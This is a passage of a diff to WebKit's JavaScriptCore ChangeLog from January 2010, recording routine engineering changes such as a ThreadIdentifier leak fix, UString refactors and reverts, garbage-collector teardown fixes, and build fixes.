+        Fix the leak of ThreadIdentifiers in threadMap across threads.
+        https://bugs.webkit.org/show_bug.cgi?id=32689
+
+        Test is added to DumpRenderTree.mm.
+
+        * Android.mk: Added file ThreadIdentifierDataPthreads.(h|cpp) to build.
+        * Android.v8.wtf.mk: Ditto.
+        * GNUmakefile.am: Ditto.
+        * JavaScriptCore.gyp/JavaScriptCore.gyp: Ditto.
+        * JavaScriptCore.gypi: Ditto.
+        * JavaScriptCore.xcodeproj/project.pbxproj: Ditto.
+
+        * wtf/ThreadIdentifierDataPthreads.cpp: Added. Contains custom implementation of thread-specific data that uses custom destructor.
+        (WTF::ThreadIdentifierData::~ThreadIdentifierData): Removes the ThreadIdentifier from the threadMap.
+        (WTF::ThreadIdentifierData::identifier):
+        (WTF::ThreadIdentifierData::initialize):
+        (WTF::ThreadIdentifierData::destruct): Custom thread-specific destructor. Resets the value for the key again to cause second invoke.
+        (WTF::ThreadIdentifierData::initializeKeyOnceHelper):
+        (WTF::ThreadIdentifierData::initializeKeyOnce): Need to use pthread_once since initialization may come on any thread(s).
+        * wtf/ThreadIdentifierDataPthreads.h: Added.
+        (WTF::ThreadIdentifierData::ThreadIdentifierData):
+
+        * wtf/Threading.cpp:
+        (WTF::threadEntryPoint): Move initializeCurrentThreadInternal to after the lock to make
+                                 sure it is invoked when ThreadIdentifier is already established.
+
+        * wtf/Threading.h: Rename setThreadNameInternal -> initializeCurrentThreadInternal since it does more then only set the name now.
+        * wtf/ThreadingNone.cpp:
+        (WTF::initializeCurrentThreadInternal): Ditto.
+        * wtf/ThreadingWin.cpp:
+        (WTF::initializeCurrentThreadInternal): Ditto.
+        (WTF::initializeThreading): Ditto.
+        * wtf/gtk/ThreadingGtk.cpp:
+        (WTF::initializeCurrentThreadInternal): Ditto.
+        * wtf/qt/ThreadingQt.cpp:
+        (WTF::initializeCurrentThreadInternal): Ditto.
+
+        * wtf/ThreadingPthreads.cpp:
+        (WTF::establishIdentifierForPthreadHandle):
+        (WTF::clearPthreadHandleForIdentifier): Make it not 'static' so the ~ThreadIdentifierData() in another file can call it.
+        (WTF::initializeCurrentThreadInternal): Set the thread-specific data. The ThreadIdentifier is already established by creating thread.
+        (WTF::waitForThreadCompletion): Remove call to clearPthreadHandleForIdentifier(threadID) since it is now done in ~ThreadIdentifierData().
+        (WTF::detachThread): Ditto.
+        (WTF::currentThread): Use the thread-specific data to get the ThreadIdentifier. It's many times faster then Mutex-protected iteration through the map.
+                              Also, set the thread-specific data if called first time on the thread.
+
+2010-01-21  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Add ThreadSpecific for ENABLE(SINGLE_THREADED)
+        https://bugs.webkit.org/show_bug.cgi?id=33878
+
+        Implement ThreadSpecific with a simple getter/setter
+        when ENABLE(SINGLE_THREADED) is true.
+
+        Due to the change in https://bugs.webkit.org/show_bug.cgi?id=33236,
+        an implementation of ThreadSpecific must be available to build WebKit.
+        This causes a build failure for platforms without a proper
+        ThreadSpecific implementation.
+
+        * wtf/ThreadSpecific.h:
+        (WTF::::ThreadSpecific):
+        (WTF::::~ThreadSpecific):
+        (WTF::::get):
+        (WTF::::set):
+        (WTF::::destroy):
+
+2010-01-21  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Maciej Stachowiak.
+
+        Add fastStrDup to FastMalloc
+        https://bugs.webkit.org/show_bug.cgi?id=33937
+
+        The new string returned by fastStrDup is obtained with fastMalloc,
+        and can be freed with fastFree. This makes the memory management 
+        more consistent because we don't need to keep strdup allocated pointers
+        and free them with free(). Instead we can use fastFree everywhere.
+
+        * wtf/FastMalloc.cpp:
+        (WTF::fastStrDup):
+        * wtf/FastMalloc.h:
+
+2010-01-21  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        history.back() for same-document history traversals isn't synchronous as the specification states.
+        <rdar://problem/7535011> and https://bugs.webkit.org/show_bug.cgi?id=33538
+
+        * wtf/Platform.h: Add a "HISTORY_ALWAYS_ASYNC" enable and turn it on for Chromium.
+
+2010-01-21  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Always create a prototype for automatically managed classes.
+        
+        This fixes some errors where prototype chains were not correctly hooked
+        up, and also ensures that API classes work correctly with features like
+        instanceof.
+
+        * API/JSClassRef.cpp:
+        (OpaqueJSClass::create): Cleaned up some of this code. Also changed it
+        to always create a prototype class.
+
+        * API/tests/testapi.c:
+        (Derived2_class):
+        (main): Fixed a null value crash in the exception checking code.
+        * API/tests/testapi.js: Added some tests for the case where a prototype
+        chain would not be hooked up correctly.
+
+2010-01-21  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        Force JSC to create a prototype chain for API classes with a
+        parent class but no static functions.
+
+        * API/JSClassRef.cpp:
+        (OpaqueJSClass::create):
+
+2010-01-21  Kent Hansen  <kent.hansen@nokia.com>
+
+        Reviewed by Geoffrey Garen.
+
+        Object.getOwnPropertyDescriptor always returns undefined for JS API objects
+        https://bugs.webkit.org/show_bug.cgi?id=33946
+
+        Ideally the getOwnPropertyDescriptor() reimplementation should return an
+        access descriptor that wraps the property getter and setter callbacks, but
+        that approach is much more involved than returning a value descriptor.
+        Keep it simple for now.
+
+        * API/JSCallbackObject.h:
+        * API/JSCallbackObjectFunctions.h:
+        (JSC::::getOwnPropertyDescriptor):
+        * API/tests/testapi.js:
+
+2010-01-20  Mark Rowe  <mrowe@apple.com>
+
+        Build fix.
+
+        * wtf/FastMalloc.cpp:
+        (WTF::TCMalloc_PageHeap::initializeScavenger): Remove unnecessary function call.
+
+2010-01-20  Mark Rowe  <mrowe@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Use the inline i386 assembly for x86_64 as well rather than falling back to using pthread mutexes.
+
+        * wtf/TCSpinLock.h:
+        (TCMalloc_SpinLock::Lock):
+        (TCMalloc_SpinLock::Unlock):
+        (TCMalloc_SlowLock):
+
+2010-01-20  Mark Rowe  <mrowe@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        <rdar://problem/7215063> Use GCD instead of an extra thread for FastMalloc scavenging on platforms where it is supported
+
+        Abstract the background scavenging slightly so that an alternate implementation that uses GCD can be used on platforms
+        where it is supported.
+
+        * wtf/FastMalloc.cpp:
+        (WTF::TCMalloc_PageHeap::init):
+        (WTF::TCMalloc_PageHeap::initializeScavenger):
+        (WTF::TCMalloc_PageHeap::signalScavenger):
+        (WTF::TCMalloc_PageHeap::shouldContinueScavenging):
+        (WTF::TCMalloc_PageHeap::Delete):
+        (WTF::TCMalloc_PageHeap::periodicScavenge):
+        * wtf/Platform.h:
+
+2010-01-20  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        <rdar://problem/7562708> REGRESSION(53460): Heap::destroy may not run
+        all destructors
+
+        * runtime/Collector.cpp:
+        (JSC::Heap::freeBlocks): Instead of fully marking protected objects,
+        just set their mark bits. This prevents protected objects from keeping
+        unprotected objects alive. Destructor order is not guaranteed, so it's
+        OK to destroy objects pointed to by protected objects before destroying
+        protected objects.
+
+2010-01-19  David Levin  <levin@chromium.org>
+
+        Reviewed by Oliver Hunt.
+
+        CrossThreadCopier needs to support ThreadSafeShared better.
+        https://bugs.webkit.org/show_bug.cgi?id=33698
+
+        * wtf/TypeTraits.cpp: Added tests for the new type traits.
+        * wtf/TypeTraits.h:
+        (WTF::IsSubclass): Determines if a class is a derived from another class.
+        (WTF::IsSubclassOfTemplate): Determines if a class is a derived from a
+        template class (with one parameter that is unknown).
+        (WTF::RemoveTemplate): Reveals the type for a template parameter.
+
+2010-01-20  Steve Falkenburg  <sfalken@apple.com>
+
+        Reviewed by Darin Adler and Adam Roben.
+
+        Feature defines are difficult to maintain on Windows builds
+        https://bugs.webkit.org/show_bug.cgi?id=33883
+
+        FeatureDefines.vsprops are now maintained in a way similar to
+        Configurations/FeatureDefines.xcconfig, with the added advantage
+        of having a single FeatureDefines file across all projects.
+
+        * Configurations/FeatureDefines.xcconfig: Add comments about keeping feature definitions in sync.
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.vcproj: Add FeatureDefines.vsprops inherited property sheet.
+        * JavaScriptCore.vcproj/WTF/WTF.vcproj: Add FeatureDefines.vsprops inherited property sheet.
+
+2010-01-20  Csaba Osztrogonác  <ossy@webkit.org>
+
+        [Qt] Unreviewed buildfix for r53547.
+
+        * DerivedSources.pro:
+
+2010-01-20  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Make extraCompilers for generated sources depend on their scripts
+
+        * DerivedSources.pro:
+
+2010-01-19  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Tim Hatcher.
+
+        When JavaScriptCore calls Debugger::Exception, have it pass a
+        hasHandler variable that represents if exception is being handled
+        in the same function (not in a parent on the call stack).
+        
+        This just adds a new parameter, no behavior is changed.
+
+        * debugger/Debugger.h:
+        * interpreter/Interpreter.cpp:
+        (JSC::Interpreter::throwException):
+
+2010-01-18  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by Adam Barth.
+
+        Inline functions that are hot in DOM manipulation
+        https://bugs.webkit.org/show_bug.cgi?id=33820
+        
+        (3% speedup on Dromaeo DOM Core tests)
+
+        * runtime/WeakGCMap.h:
+        (JSC::::get): inline
+
+2010-01-19  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Unreviewed build fix for JIT with RVCT.
+
+        Remove IMPORT statement; cti_vm_throw is already defined in JITStubs.h.
+        Remove extra ')'.
+
+        * jit/JITStubs.cpp:
+        (JSC::ctiVMThrowTrampoline):
+
+2010-01-19  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        REGRESSION (52082): Crash on worker thread when reloading http://radnan.public.iastate.edu/procedural/
+        https://bugs.webkit.org/show_bug.cgi?id=33826
+
+        This bug was caused by a GC-protected object being destroyed early by
+        Heap::destroy. Clients of the GC protect APIs (reasonably) expect pointers
+        to GC-protected memory to be valid.
+
+        The solution is to do two passes of tear-down in Heap::destroy. The first
+        pass tears down all unprotected objects. The second pass ASSERTs that all
+        previously protected objects are now unprotected, and then tears down
+        all perviously protected objects. These two passes simulate the two passes
+        that would have been required to free a protected object during normal GC.
+        
+        * API/JSContextRef.cpp: Removed some ASSERTs that have moved into Heap.
+
+        * runtime/Collector.cpp:
+        (JSC::Heap::destroy): Moved ASSERTs to here.
+        (JSC::Heap::freeBlock): Tidied up the use of didShrink by moving its
+        setter to the function that does the shrinking.
+        (JSC::Heap::freeBlocks): Implemented above algorithm.
+        (JSC::Heap::shrinkBlocks): Tidied up the use of didShrink.
+
+2010-01-19  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by NOBODY (build fix).
+
+        Reverting r53455, breaks 2 javascriptcore tests.
+
+        * API/JSContextRef.cpp:
+        * runtime/Collector.cpp:
+        (JSC::Heap::destroy):
+        (JSC::Heap::freeBlock):
+        (JSC::Heap::freeBlocks):
+        (JSC::Heap::shrinkBlocks):
+
+2010-01-18  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by NOBODY (build fix).
+
+        Revert r53454, since it causes much sadness in this world.
+
+        * runtime/UString.cpp:
+        (JSC::UString::spliceSubstringsWithSeparators):
+        (JSC::UString::replaceRange):
+        * runtime/UStringImpl.cpp:
+        (JSC::UStringImpl::baseSharedBuffer):
+        (JSC::UStringImpl::sharedBuffer):
+        (JSC::UStringImpl::~UStringImpl):
+        * runtime/UStringImpl.h:
+        (JSC::UntypedPtrAndBitfield::UntypedPtrAndBitfield):
+        (JSC::UntypedPtrAndBitfield::asPtr):
+        (JSC::UntypedPtrAndBitfield::operator&=):
+        (JSC::UntypedPtrAndBitfield::operator|=):
+        (JSC::UntypedPtrAndBitfield::operator&):
+        (JSC::UStringImpl::create):
+        (JSC::UStringImpl::cost):
+        (JSC::UStringImpl::isIdentifier):
+        (JSC::UStringImpl::setIsIdentifier):
+        (JSC::UStringImpl::ref):
+        (JSC::UStringImpl::deref):
+        (JSC::UStringImpl::checkConsistency):
+        (JSC::UStringImpl::UStringImpl):
+        (JSC::UStringImpl::bufferOwnerString):
+        (JSC::UStringImpl::bufferOwnership):
+        (JSC::UStringImpl::isStatic):
+        * wtf/StringHashFunctions.h:
+        (WTF::stringHash):
+
+2010-01-18  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        REGRESSION (52082): Crash on worker thread when reloading http://radnan.public.iastate.edu/procedural/
+        https://bugs.webkit.org/show_bug.cgi?id=33826
+
+        This bug was caused by a GC-protected object being destroyed early by
+        Heap::destroy. Clients of the GC protect APIs (reasonably) expect pointers
+        to GC-protected memory to be valid.
+
+        The solution is to do two passes of tear-down in Heap::destroy. The first
+        pass tears down all unprotected objects. The second pass ASSERTs that all
+        previously protected objects are now unprotected, and then tears down
+        all perviously protected objects. These two passes simulate the two passes
+        that would have been required to free a protected object during normal GC.
+        
+        * API/JSContextRef.cpp: Removed some ASSERTs that have moved into Heap.
+
+        * runtime/Collector.cpp:
+        (JSC::Heap::destroy): Moved ASSERTs to here.
+        (JSC::Heap::freeBlock): Tidied up the use of didShrink by moving its
+        setter to the function that does the shrinking.
+        (JSC::Heap::freeBlocks): Implemented above algorithm.
+        (JSC::Heap::shrinkBlocks): Tidied up the use of didShrink.
+
+2010-01-18  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33731
+        Remove UntypedPtrAndBitfield from UStringImpl (akin to PtrAndFlags).
+
+        This break the OS X Leaks tool.  Instead, free up some more bits from the refCount.
+
+        * runtime/UStringImpl.cpp:
+        (JSC::UStringImpl::sharedBuffer):
+        (JSC::UStringImpl::~UStringImpl):
+        * runtime/UStringImpl.h:
+        (JSC::UStringImpl::cost):
+        (JSC::UStringImpl::checkConsistency):
+        (JSC::UStringImpl::UStringImpl):
+        (JSC::UStringImpl::bufferOwnerString):
+        (JSC::UStringImpl::):
+        * wtf/StringHashFunctions.h:
+        (WTF::stringHash):
+
+2010-01-18  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        HTMLInputElement::valueAsDate setter support for type=month.
+        https://bugs.webkit.org/show_bug.cgi?id=33021
+
+        Expose the following functions to be used by WebCore:
+         - WTF::msToyear()
+         - WTF::dayInYear()
+         - WTF::monthFromDayInYear()
+         - WTF::dayInMonthFromDayInYear()
+
+        * JavaScriptCore.exp:
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+        * wtf/DateMath.cpp:
+        (WTF::msToYear): Remove "static inline".
+        (WTF::dayInYear): Remove "static inline".
+        (WTF::monthFromDayInYear): Remove "static inline".
+        (WTF::dayInMonthFromDayInYear): Remove "static inline".
+        * wtf/DateMath.h: Declare the above functions.
+
+2010-01-18  Darin Adler  <darin@apple.com>
+
+        Fix build by reverting the previous change.
+
+        * runtime/UString.h: Rolled out the FastAllocBase base class.
+        It was making UString larger, and therefore JSString larger,
+        and too big for a garbage collection cell.
+
+        This raises the unpleasant possibility that many classes became
+        larger because we added the FastAllocBase base class. I am
+        worried about this, and it needs to be investigated.
+
+2010-01-18  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for UString class
+        https://bugs.webkit.org/show_bug.cgi?id=27831
+
+        Inherits the following class from FastAllocBase because it is
+        instantiated by 'new' and no need to be copyable:
+
+        class name     - instantiated at:
+        classs UString - JavaScriptCore/runtime/UString.cpp:160
+
+        * runtime/UString.h:
+
+2010-01-18  Evan Cheng  <evan.cheng@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Add some ALWAYS_INLINE for key functions not inlined by some versions of GCC.
+        rdar://problem/7553780
+
+        * runtime/JSObject.h:
+        (JSC::JSObject::getPropertySlot): ALWAYS_INLINE both overloads.
+        * runtime/JSString.h:
+        (JSC::JSString::JSString): ALWAYS_INLINE the version that takes a UString.
+        * runtime/UString.h:
+        (JSC::operator==): ALWAYS_INLINE the version that compares two UString objects.
+
+2010-01-18  Csaba Osztrogonác  <ossy@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Delete dftables-xxxxxxxx.in files automatically.
+        https://bugs.webkit.org/show_bug.cgi?id=33796
+
+        * pcre/dftables: unlink unnecessary temporary file.
+
+2010-01-18  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Force qmake to generate a single makefile for DerivedSources.pro
+
+        * DerivedSources.pro:
+
+2010-01-18  Csaba Osztrogonác  <ossy@webkit.org>
+
+        Rubber-stamped by Gustavo Noronha Silva.
+
+        Rolling out r53391 and r53392 because of random crashes on buildbots.
+        https://bugs.webkit.org/show_bug.cgi?id=33731
+
+        * bytecode/CodeBlock.h:
+        (JSC::CallLinkInfo::seenOnce):
+        (JSC::CallLinkInfo::setSeen):
+        (JSC::MethodCallLinkInfo::MethodCallLinkInfo):
+        (JSC::MethodCallLinkInfo::seenOnce):
+        (JSC::MethodCallLinkInfo::setSeen):
+        * jit/JIT.cpp:
+        (JSC::JIT::unlinkCall):
+        * jit/JITPropertyAccess.cpp:
+        (JSC::JIT::patchMethodCallProto):
+        * runtime/UString.cpp:
+        (JSC::UString::spliceSubstringsWithSeparators):
+        (JSC::UString::replaceRange):
+        * runtime/UString.h:
+        * runtime/UStringImpl.cpp:
+        (JSC::UStringImpl::baseSharedBuffer):
+        (JSC::UStringImpl::sharedBuffer):
+        (JSC::UStringImpl::~UStringImpl):
+        * runtime/UStringImpl.h:
+        (JSC::UntypedPtrAndBitfield::UntypedPtrAndBitfield):
+        (JSC::UntypedPtrAndBitfield::asPtr):
+        (JSC::UntypedPtrAndBitfield::operator&=):
+        (JSC::UntypedPtrAndBitfield::operator|=):
+        (JSC::UntypedPtrAndBitfield::operator&):
+        (JSC::UStringImpl::create):
+        (JSC::UStringImpl::cost):
+        (JSC::UStringImpl::isIdentifier):
+        (JSC::UStringImpl::setIsIdentifier):
+        (JSC::UStringImpl::ref):
+        (JSC::UStringImpl::deref):
+        (JSC::UStringImpl::checkConsistency):
+        (JSC::UStringImpl::UStringImpl):
+        (JSC::UStringImpl::bufferOwnerString):
+        (JSC::UStringImpl::bufferOwnership):
+        (JSC::UStringImpl::isStatic):
+        * wtf/StringHashFunctions.h:
+        (WTF::stringHash):
+
+2010-01-18  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        Fix the build with strict gcc and RVCT versions: It's not legal to cast a
+        pointer to a function to a void* without an intermediate cast to a non-pointer
+        type. A cast to a ptrdiff_t inbetween fixes it.
+
+        * runtime/JSString.h:
+        (JSC::Fiber::JSString):
+
+2010-01-15  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33731
+        Remove UntypedPtrAndBitfield from UStringImpl (akin to PtrAndFlags).
+
+        This break the OS X Leaks tool.  Instead, free up some more bits from the refCount.
+
+        * runtime/UStringImpl.cpp:
+        (JSC::UStringImpl::sharedBuffer):
+        (JSC::UStringImpl::~UStringImpl):
+        * runtime/UStringImpl.h:
+        (JSC::UStringImpl::cost):
+        (JSC::UStringImpl::checkConsistency):
+        (JSC::UStringImpl::UStringImpl):
+        (JSC::UStringImpl::bufferOwnerString):
+        (JSC::UStringImpl::):
+        * wtf/StringHashFunctions.h:
+        (WTF::stringHash):
+
+2010-01-15  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33731
+        Remove uses of PtrAndFlags from JIT data stuctures.
+
+        These break the OS X Leaks tool.  Free up a bit in CallLinkInfo, and invalid
+        permutation of pointer states in MethodCallLinkInfo to represent the removed bits.
+
+        * bytecode/CodeBlock.h:
+        (JSC::CallLinkInfo::seenOnce):
+        (JSC::CallLinkInfo::setSeen):
+        (JSC::MethodCallLinkInfo::MethodCallLinkInfo):
+        (JSC::MethodCallLinkInfo::seenOnce):
+        (JSC::MethodCallLinkInfo::setSeen):
+        * jit/JIT.cpp:
+        (JSC::JIT::unlinkCall):
+        * jit/JITPropertyAccess.cpp:
+        (JSC::JIT::patchMethodCallProto):
+        * runtime/UString.h:
+
+2010-01-16  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Cache JS string values made from DOM strings (Dromaeo speedup)
+        https://bugs.webkit.org/show_bug.cgi?id=33768
+        <rdar://problem/7353576>
+
+        * runtime/JSString.h:
+        (JSC::jsStringWithFinalizer): Added new mechanism for a string to have an optional
+        finalizer callback, for the benefit of weak-referencing caches.
+        (JSC::):
+        (JSC::Fiber::JSString):
+        (JSC::Fiber::~JSString):
+        * runtime/JSString.cpp:
+        (JSC::JSString::resolveRope): Clear fibers so this doesn't look like a string with a finalizer.
+        * runtime/WeakGCMap.h: Include "Collector.h" to make this header includable by itself.
+
+2010-01-15  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Maciej Stachowiak.
+
+        Fix for <rdar://problem/7548432>
+        Add ALWAYS_INLINE to jsLess for a 1% speedup on llvm-gcc.
+
+        * runtime/Operations.h:
+        (JSC::jsLess):
+
+2010-01-14  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        REGRESISON: Google maps buttons not working properly
+        https://bugs.webkit.org/show_bug.cgi?id=31871
+
+        REGRESSION(r52948): JavaScript exceptions thrown on Google Maps when
+        getting directions for a second time
+        https://bugs.webkit.org/show_bug.cgi?id=33446
+        
+        SunSpider and v8 report no change.
+
+        * interpreter/Interpreter.cpp:
+        (JSC::Interpreter::tryCacheGetByID): Update our cached offset in case
+        flattening the dictionary changed any of its offsets.
+
+        * jit/JITStubs.cpp:
+        (JSC::JITThunks::tryCacheGetByID):
+        (JSC::DEFINE_STUB_FUNCTION):
+        * runtime/Operations.h:
+        (JSC::normalizePrototypeChain): ditto
+
+2010-01-14  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33705
+        UStringImpl::create() should use internal storage
+
+        When creating a UStringImpl copying of a UChar*, we can use an internal buffer,
+        by calling UStringImpl::tryCreateUninitialized().
+
+        Also, remove duplicate of copyChars from JSString, call UStringImpl's version.
+
+        Small (max 0.5%) progression on Sunspidey.
+
+        * runtime/JSString.cpp:
+        (JSC::JSString::resolveRope):
+        * runtime/UStringImpl.h:
+        (JSC::UStringImpl::create):
+
+2010-01-14  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Make naming & behaviour of UString[Impl] methods more consistent.
+        https://bugs.webkit.org/show_bug.cgi?id=33702
+
+        UString::create() creates a copy of the UChar* passed, but UStringImpl::create() assumes
+        that it should assume ownership of the provided buffer (with UString::createNonCopying()
+        and UStringImpl::createCopying() providing the alternate behaviours).  Unify on create()
+        taking a copy of the provided buffer.  For non-copying cases, use the name 'adopt', and
+        make this method take a Vector<UChar>&.  For cases where non-copying construction was being
+        used, other than from a Vector<UChar>, change the code to allocate the storage along with
+        the UStringImpl using UStringImpl::createUninitialized().  (The adopt() method also more
+        closely matches that of WebCore::StringImpl).
+
+        Also, UString::createUninitialized() and UStringImpl::createUninitialized() have incompatible
+        behaviours, in that the UString form sets the provided UChar* to a null or non-null value to
+        indicate success or failure, but UStringImpl uses the returned PassRefPtr<UStringImpl> to
+        indicate when allocation has failed (potentially leaving the output Char* uninitialized).
+        This is also incompatible with WebCore::StringImpl's behaviour, in that
+        StringImpl::createUninitialized() will CRASH() if unable to allocate.  Some uses of
+        createUninitialized() in JSC are unsafe, since they do not test the result for null.
+        UStringImpl's indication is preferable, since we may want a successful call to set the result
+        buffer to 0 (specifically, StringImpl returns 0 for the buffer where createUninitialized()
+        returns the empty string, which seems reasonable to catch bugs early).  UString's method
+        cannot support UStringImpl's behaviour directly, since it returns an object rather than a
+        pointer.
+            - remove UString::createUninitialized(), replace with calls to UStringImpl::createUninitialized()
+            - create a UStringImpl::tryCreateUninitialized() form UStringImpl::createUninitialized(),
+              with current behaviour, make createUninitialized() crash on failure to allocate.
+            - make cases in JSC that do not check the result call createUninitialized(), and cases that do
+              check call tryCreateUninitialized().
+
+        Rename computedHash() to existingHash(), to bring this in line wih WebCore::StringImpl.
+
+        * API/JSClassRef.cpp:
+        (OpaqueJSClassContextData::OpaqueJSClassContextData):
+        * JavaScriptCore.exp:
+        * runtime/ArrayPrototype.cpp:
+        (JSC::arrayProtoFuncToString):
+        * runtime/Identifier.cpp:
+        (JSC::CStringTranslator::translate):
+        (JSC::UCharBufferTranslator::translate):
+        * runtime/JSString.cpp:
+        (JSC::JSString::resolveRope):
+        * runtime/Lookup.cpp:
+        (JSC::HashTable::createTable):
+        * runtime/Lookup.h:
+        (JSC::HashTable::entry):
+        * runtime/StringBuilder.h:
+        (JSC::StringBuilder::release):
+        * runtime/StringConstructor.cpp:
+        (JSC::stringFromCharCodeSlowCase):
+        * runtime/StringPrototype.cpp:
+        (JSC::substituteBackreferencesSlow):
+        (JSC::stringProtoFuncToLowerCase):
+        (JSC::stringProtoFuncToUpperCase):
+        (JSC::stringProtoFuncFontsize):
+        (JSC::stringProtoFuncLink):
+        * runtime/Structure.cpp:
+        (JSC::Structure::despecifyDictionaryFunction):
+        (JSC::Structure::get):
+        (JSC::Structure::despecifyFunction):
+        (JSC::Structure::put):
+        (JSC::Structure::remove):
+        (JSC::Structure::insertIntoPropertyMapHashTable):
+        (JSC::Structure::checkConsistency):
+        * runtime/Structure.h:
+        (JSC::Structure::get):
+        * runtime/StructureTransitionTable.h:
+        (JSC::StructureTransitionTableHash::hash):
+        * runtime/UString.cpp:
+        (JSC::createRep):
+        (JSC::UString::UString):
+        (JSC::UString::spliceSubstringsWithSeparators):
+        (JSC::UString::replaceRange):
+        (JSC::UString::operator=):
+        * runtime/UString.h:
+        (JSC::UString::adopt):
+        (JSC::IdentifierRepHash::hash):
+        (JSC::makeString):
+        * runtime/UStringImpl.h:
+        (JSC::UStringImpl::adopt):
+        (JSC::UStringImpl::create):
+        (JSC::UStringImpl::createUninitialized):
+        (JSC::UStringImpl::tryCreateUninitialized):
+        (JSC::UStringImpl::existingHash):
+
+2010-01-13  Kent Hansen  <kent.hansen@nokia.com>
+
+        Reviewed by Oliver Hunt.
+
+        JSON.stringify and JSON.parse needlessly process properties in the prototype chain
+        https://bugs.webkit.org/show_bug.cgi?id=33053
+
+        * runtime/JSONObject.cpp:
+        (JSC::Stringifier::Holder::appendNextProperty):
+        (JSC::Walker::walk):
+
+2010-01-13  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by NOBODY (buildfix).
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2010-01-13  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33641
+        Assertion failure in Lexer.cpp if input stream ends while in string escape
+
+        Test: fast/js/end-in-string-escape.html
+
+        * parser/Lexer.cpp: (JSC::Lexer::lex): Bail out quickly on end of stream, not giving the
+        assertion a chance to fire.
+
+2010-01-13  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by NOBODY (buildfix).
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2010-01-13  Gavin Barraclough  <barraclough@apple.com>
+
+        Rubber stamped by Sam Weinig & Darin Adler.
+
+        Three quick fixes to UStringImpl.
+            - The destroy() method can be switched back to a normal destructor; since we've switched
+              the way we protect static strings to be using an odd ref-count the destroy() won't abort.
+            - The cost() calculation logic was wrong.  If you have multiple JSStrings wrapping substrings
+              of a base string, they would each report the full cost of the base string to the heap.
+              Instead we should only be reporting once for the base string.
+            - Remove the overloaded new operator calling fastMalloc, replace this with a 'using' to pick
+              up the implementation from the parent class.
+
+        * JavaScriptCore.exp:
+        * runtime/UStringImpl.cpp:
+        (JSC::UStringImpl::~UStringImpl):
+        * runtime/UStringImpl.h:
+        (JSC::UStringImpl::cost):
+        (JSC::UStringImpl::deref):
+
+2010-01-13  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Split the build process in two different .pro files.
+        This allows qmake to be run once all source files are available.
+
+        * DerivedSources.pro: Added.
+        * JavaScriptCore.pri: Moved source generation to DerivedSources.pro
+        * pcre/pcre.pri: Moved source generation to DerivedSources.pro
+
+2010-01-12  Kent Hansen  <kent.hansen@nokia.com>
+
+        Reviewed by Geoffrey Garen.
+
+        [ES5] Implement Object.getOwnPropertyNames
+        https://bugs.webkit.org/show_bug.cgi?id=32242
+
+        Add an extra argument to getPropertyNames() and getOwnPropertyNames()
+        (and all reimplementations thereof) that indicates whether non-enumerable
+        properties should be added.
+
+        * API/JSCallbackObject.h:
+        * API/JSCallbackObjectFunctions.h:
+        (JSC::::getOwnPropertyNames):
+        * JavaScriptCore.exp:
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+        * debugger/DebuggerActivation.cpp:
+        (JSC::DebuggerActivation::getOwnPropertyNames):
+        * debugger/DebuggerActivation.h:
+        * runtime/Arguments.cpp:
+        (JSC::Arguments::getOwnPropertyNames):
+        * runtime/Arguments.h:
+        * runtime/CommonIdentifiers.h:
+        * runtime/JSArray.cpp:
+        (JSC::JSArray::getOwnPropertyNames):
+        * runtime/JSArray.h:
+        * runtime/JSByteArray.cpp:
+        (JSC::JSByteArray::getOwnPropertyNames):
